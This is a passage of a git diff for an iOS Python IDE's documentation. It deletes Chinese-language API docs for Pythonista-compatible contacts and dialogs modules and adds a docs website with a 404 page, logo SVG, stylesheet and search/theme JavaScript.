当前是否可读取头像数据。 | -| `image_data` | `bytes | None` | 原图数据,懒加载,可写入。 | -| `thumbnail_image_data` | `bytes | None` | 缩略图数据,懒加载,只读。 | -| `vcard` | `bytes | None` | vCard 数据,懒加载,只读。 | - -### 其他字段 - -| 属性 | 说明 | -|------|------| -| `note` | 当前 capability 为关闭状态,不应依赖。 | - ---- - -## `Group` 类 - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `id` | `int` | Pythonista 兼容别名。 | -| `identifier` | `str | None` | iOS 原生分组标识。 | -| `name` | `str` | 分组名。 | -| `container_identifier` | `str | None` | 所属容器。 | - -### 方法 - -#### `members()` → `list[Person]` - -返回分组内联系人。 - -#### `add_member(person)` → `None` - -将联系人加入分组待保存队列。 - -#### `remove_member(person)` → `None` - -将联系人从分组移除;需要后续 `save()`。 - ---- - -## `Container` 类 - -### 属性 - -| 属性 | 类型 | 说明 | -|------|------|------| -| `identifier` | `str` | 容器标识。 | -| `name` | `str` | 容器显示名。 | -| `type` | `str` | 容器类型,如 `local`、`exchange`、`carddav` 等。 | -| `is_default` | `bool` | 是否默认容器。 | - -### 方法 - -#### `people()` → `list[Person]` - -返回该容器下联系人。 - -#### `groups()` → `list[Group]` - -返回该容器下分组。 - ---- - -## `PropertySelection` 类 - -表示属性选择器返回的一条结果。 - -### 属性 - -| 属性 | 说明 | -|------|------| -| `contact` | 对应 `Person`,可能为 `None` | -| `contact_identifier` | 联系人 `identifier` | -| `property_identifier` | 属性标识 | -| `key` | 原生属性 key,例如电话、邮箱、地址 | -| `label` | 原始 label | -| `localized_label` | 本地化 label | -| `value` | 该属性的值 | - ---- - -## 完整示例 - -```python -import contacts - -print('能力表:', contacts.capabilities()) - -if not contacts.is_authorized(): - granted = contacts.request_access() - print('授权结果:', granted) - -people = contacts.get_all_people(limit=20) -print('联系人数量:', len(people)) - -for person in people[:3]: - print(person.full_name, person.phone) - -hits = contacts.find('张') -print('姓名搜索命中:', [p.full_name for p in hits[:5]]) - -phone_hits = contacts.find_by_phone('13800138000') -print('手机号命中:', [p.full_name for p in phone_hits]) - -group = contacts.add_group('测试客户') -person = contacts.add_person() -person.first_name = '测试' -person.last_name = '联系人' -person.phone = [('mobile', '13800138000')] -group.add_member(person) -contacts.save() - -print('新联系人 ID:', person.id, person.identifier) -print('新分组 ID:', group.id, group.identifier) - -vcf = contacts.export_vcards([person]) -print('vCard 字节数:', len(vcf or b'')) - -history = contacts.get_change_history() -print('change history events:', len(history['events'])) - -# 清理测试数据 -contacts.remove_person(person) -contacts.remove_group(group) -contacts.save() -``` - ---- - -## 建议用法 - -- 读整本通讯录前先检查 `authorization_status()` / `is_authorized()` -- 只想让用户选一个手机号或邮箱时,优先用 `pick_property()`,无需整库读取 -- 批量改动统一走 `save()`,不要每改一个字段就提交一次 -- 对头像、vCard 等大字段按需访问,避免无意义读取 -- 对 `note`、`get_me()`、`creation_date`、`modification_date` 等边界能力先看 `capabilities()` diff --git a/docs/dialogs-module.md b/docs/dialogs-module.md deleted file mode 100644 index e8040f8..0000000 --- a/docs/dialogs-module.md +++ /dev/null @@ -1,222 +0,0 @@ -# dialogs 模块 — 原生弹窗与表单 - -Pythonista 兼容的对话框模块,提供原生 iOS 弹窗交互。所有函数都是**阻塞式**的:调用后当前协程/线程会等待用户完成操作,再返回结果;若用户取消(例如点击「取消」或关闭弹窗),则抛出 `KeyboardInterrupt`,与 Pythonista 行为一致。 - -**导入方式:** - -```python -import dialogs -``` - ---- - -## 完整 API - -### `alert(title, message='', *button_titles, hide_cancel_button=False)` → `int` - -弹出确认类对话框,可配置多个操作按钮。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 对话框标题 | -| `message` | `str` | 正文说明,默认为空字符串 | -| `*button_titles` | `str` | 可变参数,各按钮的标题;未传入时等价于 `('OK',)` | -| `hide_cancel_button` | `bool` | 为 `True` 时,所有按钮均为普通样式(不强调取消语义);为 `False` 时按平台惯例区分主按钮与取消等 | - -**返回值:** 用户所点按钮的索引,**从 1 开始**(与 Pythonista 兼容)。例如第一个按钮为 `1`,第二个为 `2`。 - -**取消:** 用户取消或关闭对话框时抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -if dialogs.alert('确认删除?', '此操作不可撤销', '删除', '取消') == 1: - do_delete() -``` - ---- - -### `input_alert(title, message='', placeholder='', secure=False, default_text='')` → `str` - -弹出单行文本输入对话框。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 标题 | -| `message` | `str` | 辅助说明 | -| `placeholder` | `str` | 输入框占位提示 | -| `secure` | `bool` | `True` 时使用密码样式输入(字符遮蔽) | -| `default_text` | `str` | 输入框初始内容 | - -**返回值:** 用户确认后输入的字符串。 - -**取消:** 抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -name = dialogs.input_alert('请输入名字', placeholder='张三') -``` - ---- - -### `list_dialog(title, items, multiple=False)` → `str | list[str]` - -从字符串列表中让用户选择一项或多项。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 对话框标题 | -| `items` | `list` | 由字符串组成的选项列表 | -| `multiple` | `bool` | `False`:单选;`True`:多选 | - -**返回值:** - -- `multiple=False`:返回用户选中的**单个**字符串(`str`)。 -- `multiple=True`:返回用户选中的字符串**列表**(`list[str]`)。 - -**取消:** 抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -color = dialogs.list_dialog('选择颜色', ['红', '绿', '蓝']) -``` - ---- - -### `form_dialog(title, fields)` → `dict` - -一次性展示多个字段的表单对话框,适合登录、设置等场景。 - -**`fields`:** 由字典组成的列表,每个字典描述一个字段: - -```python -{ - 'type': 'text' | 'password' | 'number' | 'email' | 'url' | 'switch', - 'key': 'field_key', # 出现在返回 dict 中的键名 - 'title': '字段标签', # 界面上的标签文案 - 'value': '默认值', # 可选,字段初始值 - 'placeholder': '占位符', # 可选,适用于文本类输入 -} -``` - -**字段类型说明:** - -| `type` | 含义 | 返回值类型 | -|--------|------|------------| -| `text` | 普通文本 | `str` | -| `password` | 密码(遮蔽) | `str` | -| `number` | 数字键盘 / 数值输入 | `str`(内容为数字字符串) | -| `email` | 邮箱键盘 | `str` | -| `url` | URL 键盘 | `str` | -| `switch` | 开关 | `bool` | - -**返回值:** `{key: value}` 字典,键为各字段的 `'key'`,值为上述类型。`switch` 为 `bool`,其余文本类字段为 `str`。 - -**取消:** 抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -result = dialogs.form_dialog('登录', [ - {'type': 'text', 'key': 'user', 'title': '用户名'}, - {'type': 'password', 'key': 'pwd', 'title': '密码'}, - {'type': 'switch', 'key': 'remember', 'title': '记住密码', 'value': True}, -]) -``` - ---- - -### `date_dialog(title='选择日期', mode='date')` → `str` - -弹出系统日期/时间选择器。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `title` | `str` | 对话框标题,默认 `'选择日期'` | -| `mode` | `str` | `'date'`:仅日期;`'time'`:仅时间;`'datetime'`:日期与时间 | - -**返回值:** ISO 8601 格式字符串,例如 `'2025-03-01T12:00:00+08:00'`(具体时区与格式以实现为准,均为 ISO 8601 语义)。 - -**取消:** 抛出 `KeyboardInterrupt`。 - -**示例:** - -```python -dt = dialogs.date_dialog('选择生日', mode='date') -``` - ---- - -### `hud_alert(message, duration=1.0)` → `None` - -在界面上显示短暂的 HUD(轻提示),在指定秒数后自动消失,**无需用户点击确认**;实现上仍会经 RPC 与宿主同步,调用在提示展示流程结束后返回。 - -| 参数 | 类型 | 说明 | -|------|------|------| -| `message` | `str` | 提示文案 | -| `duration` | `float` | 显示时长(秒),默认 `1.0` | - -**返回值:** `None`。 - -**示例:** - -```python -dialogs.hud_alert('已保存!', duration=2.0) -``` - ---- - -## `editor` 兼容 stub - -`dialogs.editor` 提供与 Pythonista **`editor`** 模块名称对齐的占位接口,便于脚本在不修改导入路径的情况下运行;**不**连接真实编辑器状态。 - -**可用方法(均为 stub,与 Pythonista 行为不等价):** - -| 方法 | 说明 | -|------|------| -| `get_path()` | 返回空字符串 `""` | -| `get_text()` | 返回空字符串 `""` | -| `replace_text(start, end, replacement)` | 空操作(`None`) | -| `get_selection()` | 返回 `(0, 0)` | -| `set_selection(start, end=-1)` | 空操作 | -| `make_new_file(name='', text='')` | 空操作 | - -以上方法仅为**兼容性**保留,不应依赖其修改工程内文件或选区。 - ---- - -## 完整示例 - -下面示例依次演示输入框、列表、表单、日期与 HUD;统一用 `try` / `except KeyboardInterrupt` 处理用户取消: - -```python -import dialogs - -try: - name = dialogs.input_alert('欢迎', placeholder='你的名字') - color = dialogs.list_dialog('选择主题色', ['蓝色', '绿色', '红色', '紫色']) - info = dialogs.form_dialog('个人信息', [ - {'type': 'text', 'key': 'email', 'title': '邮箱', 'placeholder': 'xxx@example.com'}, - {'type': 'number', 'key': 'age', 'title': '年龄'}, - {'type': 'switch', 'key': 'agree', 'title': '同意协议', 'value': False}, - ]) - birthday = dialogs.date_dialog('选择生日') - dialogs.hud_alert(f'欢迎 {name}!') -except KeyboardInterrupt: - print('用户取消了操作') -``` - ---- - -## 注意事项 - -1. **阻塞:** 除 `hud_alert` 这类短时提示外,主要弹窗函数在显示期间会阻塞调用方,直到用户完成或取消。 -2. **取消与 `KeyboardInterrupt`:** 用户点击「取消」、系统取消或关闭弹窗时,应抛出 `KeyboardInterrupt`;脚本中请使用 `try` / `except` 做友好处理。 -3. **`alert` 索引:** 返回值为 **1-based** 按钮索引,与 Pythonista 一致,勿与 0-based 数组下标混淆。 -4. **`form_dialog` 类型:** `switch` 字段在结果字典中为 **`bool`**,其余声明的文本/数字类字段为 **`str`**(数字也以字符串形式给出时,请按需 `int()` / `float()` 转换)。 - ---- - -*本文档描述 `dialogs` 模块的公开 API 与约定行为;若与具体实现有差异,以实现代码为准。* diff --git a/docs/docs/404.html b/docs/docs/404.html new file mode 100644 index 0000000..37edf6e --- /dev/null +++ b/docs/docs/404.html @@ -0,0 +1,247 @@ + + + + + + 未找到文档 - PythonIDE Docs + + + + + + + + +
    + +
    + +
    +
    + 404 +

    没有找到这个文档

    +

    返回文档首页,或使用搜索查找 API、模块和指南。

    +
    +
    + +
    + +
    +
    + + + diff --git a/docs/docs/assets/brand-mark.svg b/docs/docs/assets/brand-mark.svg new file mode 100644 index 0000000..42e16d1 --- /dev/null +++ b/docs/docs/assets/brand-mark.svg @@ -0,0 +1,8 @@ + + + + + + + + diff --git a/docs/docs/assets/docs-v2.css b/docs/docs/assets/docs-v2.css new file mode 100644 index 0000000..9b087b7 --- /dev/null +++ b/docs/docs/assets/docs-v2.css @@ -0,0 +1,731 @@ +:root { + color-scheme: light; + --bg: #f8f5ee; + --surface: #fffcf6; + --surface-2: #efe9de; + --surface-3: #e8dfd0; + --sidebar-bg: #f2ede4; + --text: #221f1b; + --muted: #766f66; + --muted-2: #9a9187; + --line: rgba(53, 45, 35, .12); + --line-strong: rgba(53, 45, 35, .20); + --accent: #8a4b2f; + --accent-soft: #ebe3d7; + --code-bg: #f0ebe3; + --code-text: #28231d; + --shadow: 0 1px 2px rgba(53, 45, 35, .05); + --radius: 10px; + --sidebar-width: 252px; + --toc-width: 214px; + --topbar-height: 56px; +} +[data-theme="dark"] { + color-scheme: dark; + --bg: #231f1a; + --surface: #2a251f; + --surface-2: #342e27; + --surface-3: #40382f; + --sidebar-bg: #27221c; + --text: #f3ede5; + --muted: #c6b9aa; + --muted-2: #9f9183; + --line: rgba(255, 244, 230, .13); + --line-strong: rgba(255, 244, 230, .22); + --accent: #e0a07a; + --accent-soft: #3a3027; + --code-bg: #2f2922; + --code-text: #f5ecdf; + --shadow: 0 1px 2px rgba(0, 0, 0, .18); +} +* { box-sizing: border-box; } +html { scroll-behavior: smooth; } +body { + margin: 0; + background: var(--bg); + color: var(--text); + font: 14.5px/1.7 Inter, ui-sans-serif, -apple-system, BlinkMacSystemFont, "SF Pro Text", "Segoe UI", "PingFang SC", "Hiragino Sans GB", sans-serif; + letter-spacing: 0; + transition: background-color .18s ease, color .18s ease; +} +a { color: var(--accent); text-decoration: none; } +[data-theme="dark"] a { color: var(--accent); } +a:hover { text-decoration: underline; } +.topbar { + height: var(--topbar-height); + position: sticky; + top: 0; + z-index: 50; + display: flex; + align-items: center; + gap: 12px; + padding: 0 18px; + border-bottom: 1px solid var(--line); + background: color-mix(in srgb, var(--bg) 94%, transparent); + backdrop-filter: blur(12px); +} +.brand { + display: inline-flex; + align-items: center; + gap: 9px; + color: var(--text); + font-weight: 760; + font-size: 20px; + letter-spacing: -.01em; +} +.brand:hover { text-decoration: none; } +.brand-mark { + width: 30px; + height: 30px; + display: block; + flex: 0 0 auto; + border: 0; + background: transparent; + transition: transform .18s ease, opacity .18s ease; +} +.brand:hover .brand-mark { transform: translateY(-1px) scale(1.03); } +.top-nav { + display: flex; + align-items: center; + gap: 4px; + margin-left: 38px; +} +.top-nav a { + color: var(--muted); + padding: 6px 12px; + border-radius: 999px; + font-size: 13px; + font-weight: 650; + transition: background-color .16s ease, color .16s ease, transform .16s ease; +} +.top-nav a:hover, +.top-nav a.active { + background: var(--accent-soft); + color: var(--text); + text-decoration: none; +} +.top-nav a:hover { transform: translateY(-1px); } +.search-trigger { + width: 100%; + height: 38px; + border: 1px solid var(--line); + border-radius: 7px; + background: var(--surface); + color: var(--muted); + display: flex; + align-items: center; + justify-content: space-between; + padding: 0 10px 0 12px; + font: inherit; + cursor: pointer; + box-shadow: var(--shadow); + transition: background-color .16s ease, border-color .16s ease, transform .16s ease; +} +.search-trigger:hover { + border-color: var(--line-strong); + transform: translateY(-1px); +} +kbd { + border: 1px solid var(--line-strong); + border-bottom-width: 2px; + border-radius: 6px; + padding: 1px 6px; + font-size: 11px; + color: var(--muted); + background: var(--surface); +} +.icon-button, .theme-toggle { + width: 36px; + height: 36px; + border: 1px solid var(--line); + border-radius: 8px; + background: transparent; + color: var(--text); + cursor: pointer; + transition: background-color .16s ease, border-color .16s ease, transform .16s ease; +} +.icon-button:hover, .theme-toggle:hover { + background: var(--surface-2); + border-color: var(--line-strong); + transform: translateY(-1px); +} +.language-menu { + position: relative; + margin-left: auto; +} +.language-menu summary { + list-style: none; + height: 34px; + min-width: 68px; + display: inline-flex; + align-items: center; + justify-content: center; + gap: 5px; + border: 1px solid var(--line); + border-radius: 8px; + color: var(--text); + background: transparent; + font-size: 13px; + font-weight: 680; + cursor: pointer; + transition: background-color .16s ease, border-color .16s ease, transform .16s ease; +} +.language-menu summary::-webkit-details-marker { display: none; } +.language-menu summary::after { + content: ""; + width: 5px; + height: 5px; + border-right: 1.5px solid currentColor; + border-bottom: 1.5px solid currentColor; + transform: rotate(45deg) translateY(-1px); + opacity: .65; + transition: transform .16s ease, opacity .16s ease; +} +.language-menu[open] summary { + background: var(--surface-2); + border-color: var(--line-strong); +} +.language-menu[open] summary::after { + transform: rotate(225deg) translate(-1px, -1px); + opacity: .9; +} +.language-menu summary:hover { + background: var(--surface-2); + border-color: var(--line-strong); + transform: translateY(-1px); +} +.language-panel { + position: absolute; + top: calc(100% + 8px); + right: 0; + z-index: 80; + width: 158px; + padding: 6px; + border: 1px solid var(--line); + border-radius: 10px; + background: var(--surface); + box-shadow: 0 14px 36px rgba(53, 45, 35, .12); + transform-origin: top right; + animation: menuIn .14s ease both; +} +[data-theme="dark"] .language-panel { + box-shadow: 0 16px 40px rgba(0, 0, 0, .22); +} +.language-panel span, +.language-panel button { + width: 100%; + min-height: 34px; + display: flex; + align-items: center; + justify-content: space-between; + border: 0; + border-radius: 7px; + padding: 0 9px; + background: transparent; + color: var(--muted); + font: inherit; + font-size: 13px; + text-align: left; +} +.language-panel .active { + background: var(--accent-soft); + color: var(--text); + font-weight: 700; +} +.language-panel button:disabled { + cursor: not-allowed; + opacity: .72; +} +.language-panel em { + color: var(--muted-2); + font-style: normal; + font-size: 12px; +} +.menu-toggle { display: none; } +.shell { + display: grid; + grid-template-columns: var(--sidebar-width) minmax(0, 1fr) var(--toc-width); + gap: 38px; + max-width: 1440px; + margin: 0 auto; + padding: 0 20px 0 0; +} +.sidebar, .toc { + position: sticky; + top: var(--topbar-height); + height: calc(100vh - var(--topbar-height)); + overflow: auto; + padding: 20px 0; +} +.sidebar { + background: var(--sidebar-bg); + border-right: 1px solid var(--line); + padding-left: 14px; + padding-right: 8px; +} +.content { + min-width: 0; + padding: 36px 0 76px; + animation: pageIn .22s ease both; +} +.sidebar-nav { + padding: 0; +} +.sidebar-search { margin-bottom: 16px; } +.nav-collection { + border-top: 0; + padding: 2px 0 10px; +} +.nav-collection summary { + list-style: none; + cursor: pointer; + display: flex; + align-items: center; + padding: 8px 8px; + color: var(--text); + font-size: 13px; + font-weight: 760; +} +.nav-collection summary::-webkit-details-marker { display: none; } +.nav-collection summary a { color: var(--text); } +.nav-group { margin: 4px 0 12px; } +.nav-group-title { + padding: 11px 8px 5px; + color: var(--muted); + font-size: 12px; + font-weight: 760; +} +.nav-link { + display: block; + color: var(--muted); + border-left: 0; + border-radius: 7px; + padding: 6px 9px; + font-size: 13px; + line-height: 1.4; + transition: background-color .14s ease, color .14s ease, transform .14s ease; +} +.nav-link:hover { + background: color-mix(in srgb, var(--surface-2) 62%, transparent); + color: var(--text); + text-decoration: none; + transform: translateX(2px); +} +.nav-link.active { + background: var(--surface-2); + color: var(--text); + font-weight: 700; +} +.toc { + padding-top: 38px; +} +.toc-title { + color: var(--text); + font-weight: 760; + margin-bottom: 10px; + font-size: 12px; + text-transform: uppercase; +} +.toc-link { + display: block; + color: var(--muted); + border-left: 2px solid transparent; + padding: 5px 0 5px 12px; + font-size: 13px; + line-height: 1.35; + transition: color .14s ease, border-color .14s ease, transform .14s ease; +} +.toc-link.child { padding-left: 22px; font-size: 12.5px; } +.toc-link.active { + color: var(--text); + border-left-color: var(--text); + font-weight: 700; +} +.toc-link:hover { + color: var(--text); + text-decoration: none; + transform: translateX(2px); +} +.toc-empty { + color: var(--muted); + font-size: 13px; +} +.article, .home-intro, .collection-list { + max-width: 780px; + margin: 0 auto; +} +.article-intro, .home-intro { + padding: 12px 0 24px; +} +.breadcrumb, .eyebrow, .link-kicker { + color: var(--muted); + font-weight: 780; + font-size: 12px; + text-transform: uppercase; +} +h1 { + margin: 10px 0 10px; + font-size: clamp(30px, 3.6vw, 40px); + line-height: 1.12; + font-weight: 760; + letter-spacing: 0; +} +.article-intro p, .home-intro p { + margin: 0; + color: var(--muted); + max-width: 720px; +} +.markdown-body { + margin-top: 14px; +} +.markdown-body h1, +.markdown-body h2, +.markdown-body h3, +.markdown-body h4 { + letter-spacing: 0; + line-height: 1.22; +} +.markdown-body h1 { font-size: 30px; margin: 34px 0 12px; } +.markdown-body h2 { font-size: 22px; margin: 34px 0 10px; font-weight: 740; } +.markdown-body h3 { font-size: 17px; margin: 26px 0 8px; font-weight: 740; } +.markdown-body h4 { font-size: 16px; margin: 22px 0 8px; } +.heading-anchor { + opacity: 0; + margin-left: -20px; + padding-right: 6px; + color: var(--muted); +} +h1:hover .heading-anchor, h2:hover .heading-anchor, h3:hover .heading-anchor, h4:hover .heading-anchor { + opacity: 1; + text-decoration: none; +} +.markdown-body p, +.markdown-body li { + color: var(--text); +} +.markdown-body p { + margin: 0 0 14px; +} +.markdown-body ul, .markdown-body ol { + padding-left: 22px; + margin: 12px 0 18px; +} +.markdown-body li + li { margin-top: 6px; } +.markdown-body code:not(pre code) { + color: var(--text); + background: var(--accent-soft); + border-radius: 4px; + padding: 1px 4px; + font-size: .92em; +} +.table-scroll { + overflow-x: auto; + border: 1px solid var(--line); + border-radius: 8px; + margin: 16px 0 24px; + background: color-mix(in srgb, var(--surface) 72%, transparent); +} +table { + width: 100%; + min-width: 680px; + border-collapse: collapse; +} +th, td { + border-bottom: 1px solid var(--line); + padding: 11px 13px; + text-align: left; + vertical-align: top; +} +th { + background: color-mix(in srgb, var(--surface-2) 42%, transparent); + color: var(--text); + font-size: 13px; +} +td { color: var(--muted); } +tr:last-child td { border-bottom: 0; } +.code-block { + margin: 18px 0 26px; + border: 1px solid var(--line); + border-radius: 8px; + background: var(--code-bg); + color: var(--code-text); + overflow: hidden; + box-shadow: var(--shadow); + transition: border-color .16s ease, box-shadow .16s ease, transform .16s ease; +} +.code-block:hover { + border-color: var(--line-strong); + transform: translateY(-1px); +} +.code-block figcaption { + display: flex; + justify-content: space-between; + align-items: center; + border-bottom: 1px solid var(--line); + padding: 8px 0 8px 14px; + color: var(--muted); + font-size: 12px; + font-weight: 680; +} +.copy-code { + border: 0; + border-left: 1px solid var(--line); + background: transparent; + color: var(--muted); + padding: 4px 12px; + cursor: pointer; + transition: background-color .14s ease, color .14s ease; +} +.copy-code:hover { + background: color-mix(in srgb, var(--surface-2) 56%, transparent); + color: var(--text); +} +.top-nav a:active, +.icon-button:active, +.theme-toggle:active, +.search-trigger:active, +.copy-code:active, +.related-link:active, +.doc-link:active, +.collection-link:active, +.language-menu summary:active { + transform: translateY(0) scale(.985); +} +pre { + margin: 0; + overflow: auto; + max-height: 430px; +} +pre code { + display: block; + padding: 15px 17px; + white-space: pre; + font: 13px/1.65 "SFMono-Regular", ui-monospace, Menlo, Consolas, monospace; +} +.tok-keyword { color: #9b4f2f; font-weight: 680; } +.tok-string { color: #36704d; } +.tok-comment { color: var(--muted-2); font-style: italic; } +.tok-number { color: #7657a6; } +.tok-function { color: #7d5c2d; } +.tok-property { color: #8a4b2f; } +[data-theme="dark"] .tok-keyword { color: #e39a72; } +[data-theme="dark"] .tok-string { color: #8ec49a; } +[data-theme="dark"] .tok-number { color: #b8a0e8; } +[data-theme="dark"] .tok-function { color: #e0bf84; } +[data-theme="dark"] .tok-property { color: #d68c67; } +.callout { + border: 1px solid rgba(54, 107, 170, .34); + border-radius: 8px; + background: rgba(85, 142, 213, .08); + padding: 13px 15px; + color: var(--text); +} +.callout.warning { border-color: rgba(191, 111, 49, .36); background: rgba(191, 111, 49, .08); } +.callout.tip { border-color: rgba(64, 128, 104, .34); background: rgba(64, 128, 104, .08); } +.callout.important { border-color: rgba(89, 85, 160, .34); background: rgba(89, 85, 160, .08); } +hr { + border: 0; + border-top: 1px solid var(--line); + margin: 26px 0; +} +.related-section { + margin-top: 42px; + padding-top: 4px; +} +.related-list, .doc-link-list, .collection-list { + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + gap: 12px; +} +.related-link, .doc-link, .collection-link { + display: block; + color: var(--text); + border: 1px solid var(--line); + border-radius: 8px; + background: color-mix(in srgb, var(--surface) 56%, transparent); + padding: 16px 17px; + box-shadow: var(--shadow); + transition: border-color .16s ease, background-color .16s ease, color .16s ease, transform .16s ease; +} +.related-link:hover, .doc-link:hover, .collection-link:hover { + text-decoration: none; + border-color: var(--line-strong); + background: color-mix(in srgb, var(--surface) 86%, transparent); + color: var(--accent); + transform: translateY(-1px); +} +.related-link strong, .doc-link strong, .collection-link strong { + display: block; + color: var(--text); + font-size: 16px; + margin-bottom: 5px; +} +.related-link:hover strong, .doc-link:hover strong, .collection-link:hover strong { + color: var(--accent); +} +.related-link span, .doc-link span, .collection-link span, +.collection-link em { + display: block; + color: var(--muted); + font-style: normal; + font-size: 13px; +} +.home-intro { + max-width: 830px; +} +.collection-list { + max-width: 830px; + margin-top: 22px; + grid-template-columns: repeat(2, minmax(0, 1fr)); +} +.collection-link strong { font-size: 20px; margin: 8px 0 6px; } +.collection-link em { margin-top: 12px; color: var(--accent); font-weight: 700; } +.collection-group { + margin-top: 36px; +} +.collection-group > p { + color: var(--muted); + margin-top: -6px; +} +.search-panel { + position: fixed; + inset: 0; + z-index: 100; + background: rgba(2, 6, 23, .42); + opacity: 0; + visibility: hidden; + pointer-events: none; + padding: 9vh min(6vw, 72px); + transition: opacity .18s ease, visibility .18s ease; +} +.search-panel.open { + opacity: 1; + visibility: visible; + pointer-events: auto; +} +.search-box, .search-results { + max-width: 760px; + margin: 0 auto; + opacity: 0; + transform: translateY(8px) scale(.99); + transition: opacity .18s ease, transform .18s ease; +} +.search-panel.open .search-box, +.search-panel.open .search-results { + opacity: 1; + transform: translateY(0) scale(1); +} +.search-box { + display: flex; + gap: 10px; + background: var(--surface); + border: 1px solid var(--line-strong); + border-radius: 10px; + padding: 9px 10px; + box-shadow: 0 18px 50px rgba(53, 45, 35, .14); +} +#docs-search-input { + flex: 1; + border: 0; + outline: 0; + background: transparent; + color: var(--text); + font: inherit; + font-size: 17px; +} +.search-close { + border: 1px solid var(--line); + background: transparent; + color: var(--text); +} +.search-results { + margin-top: 10px; + background: var(--surface); + border: 1px solid var(--line); + border-radius: 10px; + overflow: hidden; + max-height: 62vh; + overflow-y: auto; + transition-delay: .03s; +} +.search-result { + display: block; + padding: 14px 16px; + border-bottom: 1px solid var(--line); + transition: background-color .14s ease, transform .14s ease; +} +.search-result:hover { + background: color-mix(in srgb, var(--surface-2) 54%, transparent); + text-decoration: none; + transform: translateX(2px); +} +.search-result strong { display: block; color: var(--text); } +.search-result span { display: block; color: var(--muted); font-size: 13px; } +@keyframes pageIn { + from { opacity: 0; transform: translateY(5px); } + to { opacity: 1; transform: translateY(0); } +} +@keyframes menuIn { + from { opacity: 0; transform: translateY(-4px) scale(.98); } + to { opacity: 1; transform: translateY(0) scale(1); } +} +@media (prefers-reduced-motion: reduce) { + html { scroll-behavior: auto; } + *, *::before, *::after { + animation-duration: .001ms !important; + animation-iteration-count: 1 !important; + scroll-behavior: auto !important; + transition-duration: .001ms !important; + } +} +@media (max-width: 1180px) { + .shell { grid-template-columns: var(--sidebar-width) minmax(0, 1fr); } + .toc { display: none; } +} +@media (max-width: 860px) { + .menu-toggle { display: inline-block; } + .top-nav { display: none; } + .language-menu { margin-left: auto; } + .sidebar-search { width: 100%; } + .shell { display: block; padding: 0 14px; } + .sidebar { + position: fixed; + z-index: 80; + top: var(--topbar-height); + bottom: 0; + left: 0; + width: min(88vw, 340px); + height: auto; + background: var(--sidebar-bg); + transform: translateX(-110%); + transition: transform .2s ease; + padding: 14px; + border-right: 1px solid var(--line); + } + body.sidebar-open .sidebar { transform: translateX(0); } + .mobile-backdrop { + position: fixed; + inset: var(--topbar-height) 0 0; + background: rgba(2, 6, 23, .35); + z-index: 70; + opacity: 0; + visibility: hidden; + pointer-events: none; + transition: opacity .18s ease, visibility .18s ease; + } + body.sidebar-open .mobile-backdrop { + opacity: 1; + visibility: visible; + pointer-events: auto; + } + .content { padding-top: 18px; } + .article-intro, .home-intro { padding: 14px 0 22px; } + .related-list, .doc-link-list, .collection-list { grid-template-columns: 1fr; } + h1 { font-size: 34px; } +} +@media (max-width: 520px) { + .brand { gap: 7px; } + .brand-mark { width: 28px; height: 28px; } + .brand-text { display: none; } + .language-menu summary { min-width: 58px; } +} diff --git a/docs/docs/assets/docs-v2.js b/docs/docs/assets/docs-v2.js new file mode 100644 index 0000000..dff9834 --- /dev/null +++ b/docs/docs/assets/docs-v2.js @@ -0,0 +1,190 @@ +(() => { + const root = document.documentElement; + const savedTheme = localStorage.getItem("docs-v2-theme"); + if (savedTheme) root.dataset.theme = savedTheme; + + const prefix = window.PYTHONIDE_DOCS_PREFIX || ""; + const themeToggle = document.querySelector(".theme-toggle"); + themeToggle?.addEventListener("click", () => { + const next = root.dataset.theme === "dark" ? "light" : "dark"; + root.dataset.theme = next; + localStorage.setItem("docs-v2-theme", next); + }); + + const menuToggle = document.querySelector(".menu-toggle"); + const backdrop = document.querySelector(".mobile-backdrop"); + const languageMenu = document.querySelector(".language-menu"); + const closeSidebar = () => document.body.classList.remove("sidebar-open"); + menuToggle?.addEventListener("click", () => document.body.classList.toggle("sidebar-open")); + backdrop?.addEventListener("click", closeSidebar); + document.querySelectorAll(".nav-link").forEach((link) => link.addEventListener("click", closeSidebar)); + document.addEventListener("click", (event) => { + if (languageMenu && !languageMenu.contains(event.target)) { + languageMenu.open = false; + } + }); + + document.querySelectorAll(".copy-code").forEach((button) => { + button.addEventListener("click", async () => { + const id = button.getAttribute("data-copy-code"); + const code = document.getElementById(`code-${id}`)?.textContent || ""; + await navigator.clipboard.writeText(code); + const old = button.textContent; + button.textContent = "已复制"; + setTimeout(() => { button.textContent = old; }, 1200); + }); + }); + + highlightCodeBlocks(); + + const tocLinks = [...document.querySelectorAll(".toc-link")]; + const headings = tocLinks + .map((link) => document.getElementById(decodeURIComponent((link.getAttribute("href") || "").slice(1)))) + .filter(Boolean); + if (headings.length) { + const observer = new IntersectionObserver((entries) => { + const visible = entries.filter((entry) => entry.isIntersecting).sort((a, b) => a.boundingClientRect.top - b.boundingClientRect.top)[0]; + if (!visible) return; + tocLinks.forEach((link) => link.classList.toggle("active", link.getAttribute("href") === `#${visible.target.id}`)); + }, { rootMargin: "-20% 0px -70% 0px", threshold: [0, 1] }); + headings.forEach((heading) => observer.observe(heading)); + } + + const panel = document.querySelector(".search-panel"); + const input = document.getElementById("docs-search-input"); + const results = document.getElementById("docs-search-results"); + let searchIndex = []; + let loaded = false; + + async function loadSearch() { + if (loaded) return; + loaded = true; + try { + const response = await fetch(`${prefix}search-index.json`); + searchIndex = await response.json(); + } catch { + searchIndex = []; + } + } + + async function openSearch() { + await loadSearch(); + panel?.classList.add("open"); + input?.focus(); + renderSearch(""); + } + + function closeSearch() { + panel?.classList.remove("open"); + } + + function renderSearch(query) { + if (!results) return; + const q = query.trim().toLowerCase(); + const tokens = q.split(/[\s,,。;;::/|()[\]{}"'`]+/).filter(Boolean); + const matches = q.length === 0 + ? searchIndex.slice(0, 12) + : searchIndex + .map((item) => { + const title = item.title.toLowerCase(); + const subtitle = (item.subtitle || "").toLowerCase(); + const section = item.section.toLowerCase(); + const text = item.text.toLowerCase(); + let score = text.includes(q) ? 80 : 0; + for (const token of tokens) { + if (title.includes(token)) score += 40; + else if (subtitle.includes(token)) score 